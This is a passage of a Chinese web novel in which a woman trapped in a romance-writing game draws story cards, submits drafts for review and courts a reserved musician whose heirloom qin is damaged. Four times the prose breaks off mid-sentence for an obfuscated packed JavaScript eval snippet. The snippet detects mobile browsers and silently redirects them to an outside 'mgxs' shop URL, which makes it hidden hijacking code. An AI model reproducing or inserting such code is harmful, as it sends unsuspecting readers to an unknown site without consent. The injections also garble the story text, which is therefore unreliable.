在流光溢彩的画面中间,一只毛笔在白纸上飞速书写,所行之处的墨迹质地晶莹剔透,暗含五光十色。墨迹之中渐渐透出瑰丽的紫光,一霎让人睁不开眼的强光之后,界面上出现了卡牌。 一段熟悉的双人动画之后,一张卡牌落于界面之上。 【R卡救风尘*1】 原来已经完成的卡牌也会被抽到。 郁离枝触摸界面继续。 白光闪过,一张没有动画,也没有立绘的卡牌翩然而至。 【R卡日久生情*1】 刚刚还在嘀咕这张卡牌怎么是空白的郁离枝,看见卡牌名称霎时难掩激动之色。 来了!就是这张! 解锁第一章需要的R等级卡牌日久生情! 郁离枝抽卡前还在担忧,如若她就是时运不济,偏偏抽不出来这张没有定向也没有保底的R卡,那不死翘翘了? 果然,天无绝人之路! 郁离枝珍重收下这张卡牌,点击页面继续。 一道紫光闪过—— 衣袂飘过,画面中两个俊美男子对坐而弈,一华服女子作壁上观,神色莫辨。棋盘之上,左边青衣男子已将对面的白衣男子逼至穷途末路,笑容温润中却暗含锋芒。对面的白衣男子看似平和娇弱,实则手指紧攥着棋子,翻飞的衣袂好似要把对面的青衣男子撕裂。 整个画面初看只是一副平静的对弈图,实则暗流涌动,气氛剑拔弩张,张力十足。 虽然细节上因未完工而略有瑕疵,但仍瑕不掩瑜,功力足以让每一个见者都暗暗惊叹。 郁离枝看呆了,动画结束,卡牌名称显示了出来—— 【SR卡雄竞扯头花*1】 SR卡的画工果然更精致。这张就是保底SR?有没有可能十连双紫?或者再大胆点,有没有可能一发出金? 郁离枝屏息接着点下去,然而让她失望的是,SR卡后面就直接跳转到了结算界面。 也就是说,她总共就抽到3张卡牌,剩下的七抽全抽到了绮缘之晶,合计绮缘之晶*350。 郁离枝退出抽卡界面,撇了一样右上角的余额:750。 又变成了不甚安全的数字。 辛辛苦苦码字数日,一朝回到解放前。 但是—— 码的就是字!当的就是牛马! 郁离枝大手一挥打开背包,找到日久生情R卡,点开告示。 告示上写着:“请以''日久生情''为主题,书写不少于五幕,字数不少于20000字的剧情!”。 “啥?五幕?两万字?!” 纵然是自诩牛马的郁离枝也不由失声。 【是的,除序章以外的其他章节,将会有更多的字数要求。具体字数依剧情卡情节体量而定。】 ……行吧。路漫漫其修远兮,吾将化身打字机。 但是,也有好事。这么多字数,岂不是可以用来刷每日任务! 而且“日久生情”这个主题,顾名思义就是两个人相处久了,情谊自然就生发出来了,看上去就十分温吞好写! 满腔踌躇壮志的郁离枝打开房门,遥遥喊了一声:“岚山?” “属下在。” 郁离枝对于这群侍卫的神出鬼没已经免疫了,她朝着楚岚山正色道:“今日午前,给我去集市上,购些话本回来。” “话本?” “是的,就像我上次那样。这次需要含有''日久生情''情节的话本,悉数买入,多多益善。” 楚岚山看着郁离枝正色的脸,恍然觉得好似主子交代自己买的不是什么市井话本,而是什么攸关生死的机密图纸,再不济也得是什么百年一遇的名贵字画。 “是。”楚岚山颔首。 楚岚山走后,郁离枝往暮云逸的住处走去。 既然已经到了“日久生情”这种具体的情节,那么现阶段的采风,跟了解世界背景关系也不大了。 当务之急是了解人,暮云逸。 郁离枝想得入神,一抬眼,府内一院落牌匾上写着的“药室”二字正正落入眼睛。 于屋中端坐的,正是昨日为暮云逸诊治的大夫。 郁离枝眨了眨眼。对哦,空手而去岂能是待客之道,郁离枝遂迈进了药室。 “小姐,您找小医何事?”大夫恭恭敬敬。 “昨夜托你看的那位受伤的公子,可有什么药可使?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202074|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那位公子未伤经络,若想更快痊愈,施些金疮药即可。”大夫从药柜里拿出一瓶金疮药递与郁离枝。 郁离枝握着金疮药瓶,立于昨夜安置暮云逸的院落门前,正欲敲门。 忽而一阵风席卷而过,落叶在地上翻滚摩擦,发出细碎而窸窣的声音。 琤然一声,院落里猝然响起了琴曲之音。 初激昂,后和缓。好似对命运的诘问,而后复又归于平静。 鬼使神差地,郁离枝没有敲门。 直至一曲终了,郁离枝才轻轻叩击了几下院门。 门开了。暮云逸似乎没想到来人会是郁离枝,眼睛里的错愕怔愣一闪而过。 “暮公子,早晨前来打扰,多有冒犯。”郁离枝拿出金疮药瓶,“暮公子手上有伤,还是暂且修养为上,勿要再弹琴。” 说着颇为严肃地直视着暮云逸的眼睛,晃了晃手里的药瓶。 暮云逸手指微微收紧了一下,仿佛被发现做错事的孩子一般,微微偏头侧过郁离枝的目光。 “……好,都听离枝姑娘的。” 郁离枝瞥见了暮云逸微曲的指尖,而袖口旁边,郁离枝眼尖地看到了有一星点墨在上面。 暮云逸昨夜已将旧服换下,今日身上穿的是郁府内的新衣,照理来说,不会有墨点。 “暮公子曾在昨夜使用笔墨吗?说起来,早听闻云亭暮氏是书画名家,暮公子为何不以这笔纸谋生路呢?” 郁离枝话音刚落,她能感觉到暮云逸似乎局促紧绷了一瞬。 “……家中变故,仓促中只带了琴。书画之道,太过显眼。” “……”很合理的理由,可是他刚刚在掩饰什么呢? “云亭暮氏的画艺,我也已神往许久。暮公子若是喜欢,不日我找些笔墨纸砚以及各色颜料,赠与暮公子作画。” “多谢。” 复又嘱咐了一些事宜,郁离枝赶在中饭之前离开了暮云逸住处。 她不能在这些事情上花费太多时间。写稿推主线才是最要紧的。 楚岚山已持着各式各样的新话本满载而归。 郁离枝秉承着对自己“没吃过猪肉,还没见过猪跑”的迷之自信,看了几篇就落笔写下了脑海中的剧情。 日久生情,首先要创作能够待在一起的条件。 然后通过对彼此逐渐深入的了解,所共同经历的事情,而逐渐产生感情。 相比之下还是共同经历比较好写。那索性就写个为期不短的游湖旅行,符合她这个世家女身份,暮云逸作为乐师随行,也很合理。 两人可以于游湖过程中渐生情愫。 郁离枝遂落笔。 但是似乎是关于细腻事物的描写更看重文字功力,郁离枝看着自己最终写出来的4000字稿子,横竖看着都不满意。 感觉缺了点什么。 无奈将毛笔缘在砚台上时,屋外天幕已然黑透,只得暂且交稿。 郁离枝不抱希望地等待审稿结果。 【交稿成功!今日每日任务已完成!】 【审稿中!请稍候……】 【稿件已驳回!驳回理由:情节过于平淡,人物感情变化路线不明显、突兀,请再接再厉!】 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:790!扣除后余额:690!】 5. 家父回府 【欢迎来到“韵文之亭”!】 【新手福利第五天:SR等级卡牌白月光替身*1】 【新手福利已派发完毕!】 【请收取每日登录奖励:绮缘之晶*50】 今天领到的卡牌,SR卡白月光替身,也是没有立绘的空白卡面。 今天是郁离枝穿进这个游戏里的第五天,郁离枝的结晶余额已经来到了……740。 手头不可以说是不拮据。 然而今天的郁离枝也在不出所料地被卡稿,还卡在了一张最普通等级的R卡上面。 郁离枝简直想撕开次元壁,用无形大手从游戏外把底层代码改了。 ……第一个要改的就是,把审稿系统难度调低。 郁离枝此人,钢铁般的理工直女,生前唯一跟恋爱沾边的事情就是在游戏公司任职,给恋爱游戏敲代码。 相亲,订婚,结婚,找个合作伙伴搭伙过日子是郁离枝前世关于择偶的不二信条。 日久生情这种东西,怎么看怎么像是学生时代不谙世事且满含理想主义的桥段,而不是成年人应该信仰的东西。 郁离枝回顾自己短暂的前半生微微出神,一低头回到黑色笔记本的码字界面,又忍不住破功。 ……对于不信仰的东西也应该保持尊重。刚任职不久的游戏文案改换观念道。 脑海里刚产生了一个思路,郁离枝打了几个字,却发现此思路可行性极低。 过稿概率渺茫,不如弃了。 郁离枝叹口气,手指顺势移到一旁堆积的书册之上。 来,看看古代人多姿多彩的恋爱生活找找灵感吧。 郁离枝翻开一本名叫《红袖青梅》的话本: 我本顽劣,一朝被父母打包塞进书院,于课堂之上公然酣睡被先生惩治,同窗小青梅最不喜贪玩耍滑之辈,总是冷哼一声别过脸去,从不拿正眼瞧我。 郁离枝:哦,校园文。 谁知一日学堂里竟然进了一个学界公敌——一只颇为肥硕的老鼠。同窗们被吓得纷纷抱头逃窜,我定睛一看:小青梅竟盯着面前的老鼠屹立不动。正当我好奇之时,却听到耳边一声尖叫,原是小青梅已吓得僵住无法行动。 郁离枝:嗯,引入一个小危机。 我上前,揪住老鼠尾巴让它滴溜溜荡了个秋千,而后将它扔在距学堂数百步有余的树林内。回来后,昔日高傲的小青梅红着兔子眼,软声向我道谢。 郁离枝:英雄救美吗,有点意思。 自此,朗朗书声之中,小青梅却会偷偷给我递纸条;课堂结束之后,小青梅会默默给我辅导功课;学堂踏春赏玩途中,小青梅在我耳边叽叽喳喳,笑靥如花…… 郁离枝:原来如此。学习了。 只可惜,校园题材对她而言用处不大。 郁离枝遂抽出第二本话本:《偷心盗贼》。 郁离枝:文名颇为大胆。 他本是平平无奇的闷葫芦同僚,可与他相处的点点滴滴之中,我却渐渐发现他所不为人知的另一面,并被其紧紧吸引,挪不开视线…… 郁离枝:还有办公室恋情? 郁离枝一目十行看去,只见书中内容半数以上都是衙门工作日常,也无多少借鉴价值。 郁离枝收了书本,站起身朝门外走去。 刚一开门,就与刚想敲门的楚岚山打了个照面。 “小姐,家主刚刚为小姐送来一批名贵字画,还给小姐带了话,说今晚要回府参加家宴。” 字画?家宴? 郁离枝刚想去暮云逸住处打卡刷刷存在感采采风,没想到被她那个便宜老爹截了胡。 不过念及她还未曾见过她的这个在朝中任职的父亲,郁离枝思索片刻,打消了去暮云逸处的念头。 刚一回屋,一阵马蹄嘶鸣声就从院门口传来。郁离枝看去,见几名下人小心翼翼接过一叠厚厚的字画,恭恭敬敬停在门口。 “小姐,字画到了。” 郁离枝有眼睛,也看到了那一叠像宣纸一样厚得好似不花钱的字画。 郁离枝走过去,登时被一阵金碧辉煌闪瞎了眼。 里面每一张都是稀世难寻的佳作。书法遒劲有力,笔法飘逸;画卷绵延不绝,流光溢彩。 若说是把天下所有之绝画搜集了来,也不为过。 未见其人,先见字画。 ……好有性情的老爹。出手之豪横,让郁离枝都忍不住怀疑他是不是把所有俸禄都掏出来买画了。 她这郁氏的前景恐怕也光明不到哪里去了,这郁氏族人一个赛一个的不着调。 “……父亲何时回府?”郁离枝咂舌片刻,干巴巴问。 “大约一炷香有余。” “好,命人去准备家宴。”郁离枝泄了气,收了字画回房。 夜色渐沉,今夜的郁府却格外明亮。 府内各处下人都忙忙碌碌,外厨们忙里忙外,侍卫们警戒巡逻。 “咚咚咚”,暮云逸的房门被敲击了三下。 屋内静坐的青衣男子眼睛一亮,猝然站起身,脚下微趔趄了一下。 暮云逸快步赶去院门,可刚一打开,站门外着的却是一名男性侍者。 “今夜家主回府,举办家宴。可能会召见乐师,还请乐师们做好准备。” 侍者公事公办交代完这句话后,未等暮云逸回应,便转身离去。 暮云逸望着离去的侍者愣了几息,缓缓低下头,手指微微收紧。先前眼睛里的光亮像落入水中的点墨,无声无息间消逝得无影无踪。 半炷香后,郁府门前。数名体型壮硕的侍卫沉默地立于门前。 踢踢踏踏的散乱马蹄声由远及近,然后是一声回鞭勒马的“吁——”声。 “恭迎家主。”数名侍卫俯首。 一华服男子于车驾上走下,在随从侍卫簇拥下进了郁府。 径直走向郁府内金碧辉煌的宴厅。 “父亲。”郁离枝微微颔首。 “离枝,我带来的那些字画,可还满意?”郁璋咧开一个豪放的笑,大步一跨坐于桌宴前。 “喜欢的。多谢父亲。” 郁璋颇不拘小节,未再寒暄,直接举杯拾筷。 郁离枝遂也开始夹菜喝酒。 家宴一场,厅室内却无一声说话的声响。若是在其他场合,郁离枝大概会对这种无言的氛围感到尴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202075|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尬,但奇怪的是,她与她这个刚刚才见过的便宜老爹待在一起,却不觉局促。 郁离枝后来想了想,大概是这个父亲不对她做什么评判,态度姿势没有要高她一等的意思,遂不让她觉排斥。 “朝内公务单调繁闷,离枝不若叫来几个乐师吹笛抚琴,演奏一曲,与我解解闷。” “好。”郁离枝跟楚岚山吩咐几句,没过多久,几名已换了服饰的乐师便鱼贯而入,在宴厅舞台上站定。 琴声,萧声,笛声错落而起,声声清扬,婉转动人。 郁璋眉毛缓和了不少,越发敞开了吃。 曲毕宴局也毕。 郁璋酒足饭饱,放下筷子。目光无意略过舞台之上架着的那把古琴,出声道: “那个弹琴的乐师,技艺颇精,颇有沈氏之风,是以前不曾见过的。是新招来的乐师吗?” 暮云逸挽琴于台上颔首,闻言身形微动。 “是的,是我不久前刚刚招来的。”郁离枝不动声色看着父亲,言语简洁道,余光却敏锐地捕获到了台上暮云逸不自然的一瞬。 郁璋点点头,不甚在意,早早离席休息去了。 郁离枝送走父亲,复又折回宴厅,找到刚收拾琴也在准备回去的暮云逸。 “暮公子,这是我父亲。今日出宴,辛苦暮公子。” 暮云逸微顿一下,音色清冷:“荣幸之至。” “对了,暮公子的手伤如何了?” “谢姑娘赐药,伤口已愈合了。” 郁离枝点点头。 “我早就说过,暮公子琴艺少有人能匹敌。今日可见果然不错,连父亲都夸暮公子琴声有音律名家沈氏之风,可见暮公子确实是奇才。”郁离枝斟酌着措辞,旁敲侧击。 “……谢姑娘赏识。只是家族栽培,难堪奇才之名。”暮云逸温顺低头。 郁离枝打量对方,评估对方话语里的可信度。 算了,郁离枝放弃想东想西。 她有的可是金手指神力,她担心什么? 担心的只可能是结晶余额清零。 “时候已不早了,暮公子早些休息。”说完,郁离枝起身回房。 灯光如豆,暗香浮动。书房内,忙碌一天的郁离枝疲惫地打开黑色笔记本。 她今日又是收集素材解读又是赴宴迎接父亲,根本没有机会码字。 今天的写稿任务没有完成,码4000字的20结晶拿不到了。 不过这也是没有办法的事。 争取写出能过的稿子推主线比写上去4000字废稿要有用的多,毕竟主线奖励是以百论的,而每日任务只有寥寥20个结晶。 主次郁离枝还是能分清的,所以她不惜花时间采风学习。 黑色笔记本上的投影界面徐徐展开。 【欢迎来到“韵文之亭”!】 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:760!扣除后余额:660!】 不能一直这样没有进展,明天就算过不了稿,也必须得写稿了。 明日再去暮云逸那里找一下灵感吧。郁离枝眼皮打架,收起笔记本躺在锦床上,逐渐沉入了梦乡。 6. 日久生情(上) “楚岚山,你可曾……喜欢过什么人?”郁离枝沉思良久,目光深邃好似望向深不可测的虚空,那神色活像在思考什么朝堂政局,冷不丁悠悠道。 “……?”楚岚山怀疑自己听错了。 郁离枝把目光移到侍卫脸上,目中满是煞有介事的期待,似乎对楚岚山的回答很看重。 “属下不曾。” 坏了,她这郁府是什么断情绝义之地吗?怎么她今天把下人们问了个遍,得到的回答都是否认呢? 莫非是碍于身份不敢告诉我这个郁家大小姐?可我明明神色很温和了啊? 郁离枝不死心,活像纠缠不休一定要从蛛丝马迹里面找到磕点的cp头子: “那你身边可曾有过恋人,你见过他们是如何相知,相处,并相恋的吗?” “……”楚岚山凝眉思索。 “属下在岳琅楚氏习武之时,曾见过两位师兄师姐私下暗通款曲。” 郁离枝眼睛一下子亮了:“快,说来与我听听。” “……属下一心练武,未曾刻意留意。只记得休息之时,二人时常结伴往来。任务与比武之时,二人也常做搭档。” “就没有什么……”郁离枝正想细问,突然声音停住,一个想法浮于脑海之中。 她此前接触的日久生情话本,不论是同窗、同僚也好,还是楚岚山所说的一同练武的伙伴也罢,他们都有一个前提,那就是共同的身份。 这个共同的身份支撑起了恋人相处的条件,也造就了二人的共同语言和相同的价值观。 而她与暮云逸共同的身份是什么呢? 尘川郁氏,云亭暮氏,一个执掌文史,一个精通书画,都是当地名声大噪的世家。 况且,文与画不分家,艺术创作一类的东西有很多共通之处。 应该把这个共同的身份作为切入点。郁离枝脑子转得飞速,二话不说转身回房闭关。 郁离枝打开黑色笔记本: 【欢迎来到“韵文之亭”!】 【请收取每日登录奖励:绮缘之晶*50】 郁离枝瞥了一眼结晶余额:710。 然后奋笔疾书,顺畅写下R卡“日久生情”第一幕的剧情。 对几处细节略作修改后,郁离枝点了提交。 审稿页面又一次进入跳动的缓冲界面。几息之后—— 【审稿完成!剧情逻辑通畅,情感较为细腻,已过稿!】 【今日每日任务已完成!】 【恭喜玩家完成R卡“日久生情”第一幕的撰写任务!】 【剧情构建中……构建完成!剧情线已变动!】 【恭喜玩家达成主线第一章开启条件!】 【请玩家于日入之时前往剧情点:郁府内厅触发剧情!】 郁离枝有种如释重负的畅快感。 功夫不负有心人。看来她在文学方面也不是一无是处嘛! 郁离枝心情大好,将黑色笔记本锁好,哼着小曲出了门。 斜阳洒落一室金黄,日影在不知不觉中渐渐西行。 暮云逸住处。 “小姐说了,以后每晚公子须去内厅,与小姐共进晚宴。” 暮云逸端坐琴前,状似要抚琴,但却心不在焉,脑海里一直回荡着侍从中午的传话。 与郁离姑娘共进晚宴……这是什么意思?郁离姑娘保不齐是烦闷了,想要叫几个乐师来弹曲解闷吧。总不会是…… 暮云逸忙打消脑海中所想。暗骂自己简直贪心不足,已经得到了如此优待,还在痴心妄想些什么? 一轮红日渐沉西际,天空渐渐被抹上暗色。 时辰已至,暮云逸携了琴,来到内厅。 相比昨日的宴厅,内厅乃是郁家人私下单独吃饭的场所,没有那么奢华,却也十分精致漂亮。暮云逸往厅内望了一望,饭桌旁尚且空无一人。 暮云逸打量厅内构造,发现里面没有戏台,那么要在哪里弹琴呢? 暮云逸正思索,忽而一个温婉声音从背后响起。 “暮公子,你来了。”郁离枝笑语盈盈,未携家侍独自一人走来。 “离枝姑娘。”暮云逸微微低头,对郁离枝一礼。 “不必客气,上座吧?”郁离枝也回了一礼,从暮云逸身旁擦肩而过,示意暮云逸坐在对面的空位上。 “离枝姑娘,这不妥!我坐在一旁奏乐即可……” “这就是为暮公子准备的座位,可没有第二个座位了。暮公子莫要客气,菜都要凉了,琴曲何时都能听的。” 暮云逸不好推脱,只得入了座。 “我这内厅布置得简陋,可能比不上云亭的宴局,暮公子多多担待。” 暮云逸坐在桌前,略显束手束脚。对面郁离枝已开始拾筷,还催促暮云逸不要拘谨,饭菜凉了可就不可口了。 暮云逸有些生疏地拿起玉筷,望着一桌山珍海味,心里又是惭愧,又是五味杂陈。 但终是难却郁离枝的盛情,从离得最近的碟子里,夹了一块鲫鱼块。 鱼肉上面撒着酱汁,肉质肥美鲜嫩,入口细软爽滑。 “说起来,我还不知道暮公子是怎么从云亭来到尘川的呢。一路上应该不容易,跟我讲讲吧。” 暮云逸用手帕试了试嘴,跟郁离枝娓娓道来。 原来自从家族出事之后,暮云逸几经辗转。先是离开云亭,投奔邻县安芜,在那里的歌楼做了一些时日的伶人,只可惜没有多久就被歌楼打发。暮云逸无法,一路西行来到尘川,暂住于烟香阁,仍从事伶人之事,没几天就遇上撒泼的客人,幸而被郁离枝救下。 郁离枝点点头,注意到暮云逸放下了玉筷,忙又招呼着对方快吃,吃饱了还要听暮云逸弹琴。 “嗯……暮公子跟我讲讲安芜的事情吧。”郁离枝将一块酸甜可口的酥肉吞下,闲谈道。 “安芜……那里的田地世代用来种药材,走在乡间路上都是药材的奇香。城内医术学府和医所也尤其多。安芜人平和朴实,大抵是受了医者仁心思想的熏陶。也可能是因为靠着无为山,安芜也有很多从山上下来入世行医的僧道,因此民风淳朴。” 郁离枝第一次听说。她知安芜苏氏世代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202076|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行医,现如今弟子已经散布各个县域,依傍医术救治世人。而无为陵氏是道学之家,是最为神秘的一个世家,人们关于陵氏的情报普遍了解不多。 边听边吃,郁离枝渐渐餍足。 在暮云逸也停下玉筷之后,郁离枝命人收拾了残局。 暮云逸退后至一旁,轻轻调弦,调试着怀中古琴。 一灰衣一蓝衣两个侍从进入内厅,手脚利落地收拾完碗筷退至门外。灰衣侍从而后进来送上餐后鲜果,蓝衣侍从进来,恭恭敬敬为郁离枝酌上上好的茶水。 郁离枝略微抬眼,眼神示意给对面的暮云逸也酌满。而后拿起茶杯,眯着眼轻吹茶水,水汽氤氲四溢。 蓝衣侍从在对面桌上暮云逸的茶杯里也酌满了茶水,只是收尾之时,茶水微微溅出来一滴,滴在了托盘之上。 待下人退去,门关好后,郁离枝拈起一颗新鲜荔枝,送往嘴里。 “琤琤”几声,琴声如泉水般泠泠倾泻。 不知为何,这琴音比之之前听到的都不同。琴音似乎要更绵延婉转,十分契合郁离枝酒足饭饱后闲暇之时的淡淡清愁。 郁离枝嘴里品尝着清甜多汁的荔枝,耳边欣赏着悠扬清脆的琴曲,心里惬意十分。 尤其是想到自己一会就能回去领主线奖励,郁离枝心里更畅快了。 有种前世敲代码赶ddl连通两宵之后公司宣布放假,睡饱了一天起来吃了一顿美美的饭之后躺在床上追剧的感觉。 曲毕,郁离枝拊掌。 “明日见,暮公子。”郁离枝心情大好,尾音已经可以说得上是婉转。 “明日见,离枝姑娘。”暮云逸愣愣看着眼前女子眸中从不曾见过的神色,浅声道。 郁离枝合上房门,从锁好的柜子里把那本黑色笔记本拿了出来。 【欢迎来到“韵文之亭”!】 【恭喜玩家完成主线第一章第一幕!请前往任务页面领取奖励!】 郁离枝打开任务界面。 通关主线第一章第一幕奖励:绮缘之晶*400(待领取) 郁离枝睁大了眼睛。 不是40,也不是100,而是400啊! 郁离枝看着400绮缘之晶巨款,简直想要喜极而泣。 领取过后,主线任务页面变成了: 通关主线第一章第二幕奖励:绮缘之晶*400 看来第一章每一幕都是400结晶奖励,那么她走完第一章剧情,应该正好能拿一个十连。 而且今天正好是第六天,明天写稿并完成后,郁离枝也分别可以完成每周任务过稿3次和通关主线3次的合计200结晶奖励。 看来在这异世游戏世界写稿,只要摸准了门路,难度也不过如此嘛。 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:1150!扣除后余额:1050!】 郁离枝合上黑色笔记本,沾枕即睡了。 此时做着心满意足香甜之梦的郁离枝不知道的是,没有意外就是最大的意外。 不出意外的话,要出意外了。 7. 变故突生 “……有匪君子,如切如磋,如琢如磨……” 郁离枝嘴里念念有词,在黑色笔记本上埋头写着今夜的剧情文案。 为了赶进度,她一连写了日久生情卡的二三两幕,足足有8000字。待停笔之时,窗外远处的天幕已染上一片熟红。 郁离枝检查了一遍错别字,点了“提交”。郁离枝穿上一件翠色的刺绣锦袍,欲同昨日一般前往内厅走剧情。 与往常一样,审稿界面没过多久就跳出来一个绿色对钩: 【审稿完成!结果复查中!】 【剧情逻辑较为通畅,情节发展较为合理,已过稿!】 【剧情构建中……】 郁离枝盯着跳动缓冲的界面,心心念念等着笔记本完成报幕,脑海里却骤然浮现出一个想法:以往剧情构建有这么久吗? 以往不是一两秒就完成了吗? 【出现未知故障!过稿失败!】 郁离枝:? 开什么玩笑?需要我给你修修bug吗? 郁离枝一边面容和善,一边咬牙切齿:“敢问,这个未知故障是什么呢?” 【剧情所需关键道具状态异常!关键主角心境不符合剧情推进要求!请调试后重试!】 关键主角?我吗? 郁离枝以手指自己,瞠目结舌。 她现在可是以一个现代牛马最虔诚的敬业态度在上工了,到底有什么问题? 关键道具又是啥? 郁离枝稍稍冷静下来,理性分析了一下,得出应该不是自己这边的问题。毕竟她又不需要什么道具。 那么问题只可能出在…… “小姐,该用晚膳了。”楚岚山在院外遥遥喊道。 那正好。郁离枝拂袖,大步出了门。 郁离枝踏入内厅外的庭院,落日余晖中,一斜人影立于庭中,正微微低头。背影遥遥望去形单影只,竟有几分落寞。 “暮公子。”郁离枝看见了人,放下心来。她一路上都在想,不会是她的这个男主出了什么闪失,突然身患重病之类的吧? 现下看见人还安然无恙,郁离枝看向暮云逸的眼神带上了一丝虚惊一场的欣悦,和劫后余生的庆幸。 留得青山在,不怕没柴烧! 看见男主全须全尾,郁离枝终于放松下来,也终于感受到唱了许久空城计的肚子的抗议。 “暮公子愣着做什么,快进去吧。”郁离枝快步走向内厅。 天大地大,吃饭最大! 今日的暮云逸却异常沉默。郁离枝刚刚望向他的那一眼,里面的雀跃清清楚楚地落在暮云逸眼底。 仿佛见到他是什么万分值得高兴的事。 说出来的话语也温软客气,与往日没有什么不同。可是…… 暮云逸没有血色的唇轻颤了几下,伴随着一声呼气声,吐露出了一句话:“离枝姑娘,十分抱歉,今日我恐怕不能为姑娘献曲了。姑娘请另择一名琴艺高超的乐师,以免扫了姑娘的兴。” 郁离枝停住脚步,缓缓转过身,凝望着身后男子。 几息难言的沉默之后,郁离枝温和的声音打破了僵局: “暮公子可是身体不适?需要差大夫来看看吗?” 郁离枝的眼睛里流露出几分真心实意的关切。 “我无事。” “那是为何?”郁离枝望着眼前一袭单衣,孑然而立的瘦高男子,面露不解之色。 站在暮影之中的男子张了张嘴,却没说出一句话来。 郁离枝这下是真的不解了。她望着眼前男子,之前就注意到的一丝违和突然在郁离枝脑子里串联起来。 暮云逸一向琴不离手,今日却没有带琴。 “难道,暮公子的琴……”郁离枝试探道。 暮云逸身形微顿,不着痕迹地错开了郁离枝探询的目光,淡声道:“上午练琴之时……不小心失了方寸,绷断了两根琴弦。是以,今日恐怕无法为姑娘献曲了。” “暮公子的琴?!”郁离枝惊异,原来这就是系统所说的关键道具。 此琴对暮云逸意义非常,因此琴坏了,暮云逸无心其他也很正常。 “我当是什么呢。暮公子不必担心,我有一法,应当可以修好暮公子的琴。”郁离枝语气轻松。 暮云逸闻言,俊美如玉的脸上仍不见血色,神色不见轻松:“多谢离枝姑娘。此琴乃暮家世代祖传,材质特殊,要想修复恐怕不易。” 郁离枝则转过了身先行进了内厅,松快笃定的声音从屋里传来: “暮公子不必过于忧思,我自有办法。” 她有的可是金手指神力,轻松下笔一挥就能办妥。 郁离枝了却心中事,遂大大咧咧招呼暮云逸进来。 进了烛光四映的内厅,暮云逸脸上呈现出更明显的不自然的惨白。 站在昏暗的暮色中还未曾注意。不过郁离枝没有放在心上,如往常一样招呼暮云逸上座。 席上,暮云逸只是一径地沉默。 烛火摇曳,暮云逸只略略动了几筷,便停箸。轻试几下并无脏污的唇,目光低垂,静坐于桌前不吃了。 郁离枝将暮云逸动作尽收眼底,只当他是悲痛忧思过度,宽慰道: “暮公子,琴坏一事已成定局,若是再因此饿坏了身体,可就得不偿失了。” “今日饭毕,我去暮公子住处一趟,把损坏的琴拿去修理,暮公子不必担心。” 暮云逸置于膝上的手指微蜷:“……让离枝姑娘费心了。” 晚饭结束,郁离枝从内厅院落走出,往暮云逸的住处走去。 甫一推开院门,与刚准备开门的下人险些撞上,把那身着灰衣的束发侍女惊得面容失色,不住地道歉。 郁离枝心里暗自吐槽这小侍女胆子也太小了,怎么好像见到自己像见了鬼一样,不甚在意,遂携暮云逸出了院门。 侍女头也不敢抬,待二人走后,才哆哆嗦嗦直起身来,去收拾内厅的碗筷。 雅致居室内,烛光清浅。郁离枝手指轻轻抚上古琴伽陀罗木质的琴体,凝眸在古琴断裂的琴弦上。 琴弦撕裂的断面很长,看样子确实棘手。郁离枝心中叹息,可惜了一把好琴。 只是看了这古琴现今的模样,郁离枝心中疑惑更甚了。 “暮公子可是心情不好?我一向知暮公子最看重这把琴,暮公子琴艺也不可以说是不精湛,这弦为何会崩断……?” 还是以这样……毫不怜惜的惨状。 郁离枝后半句没有说下去,只是静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202077|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静等待暮云逸的回应。 “我近来心绪确实……不太宁静。”暮云逸语焉不详。 “这样吧,暮公子跟我回去一趟。我带暮公子去看看我的藏珍室,那有不少名贵古琴,暮公子看看有没有合心意的。”郁离枝说着抱琴走出了暮云逸的院落。 先将古琴安置在自己书房,郁离枝携暮云逸来到藏珍室。 “离枝姑娘不必了,我用一把最普通的木琴即可,实在不值得为了我如此大费周章……”暮云逸受宠若惊。 怎么不值得?你可是我的关键男主角!除了你还有谁值得?! 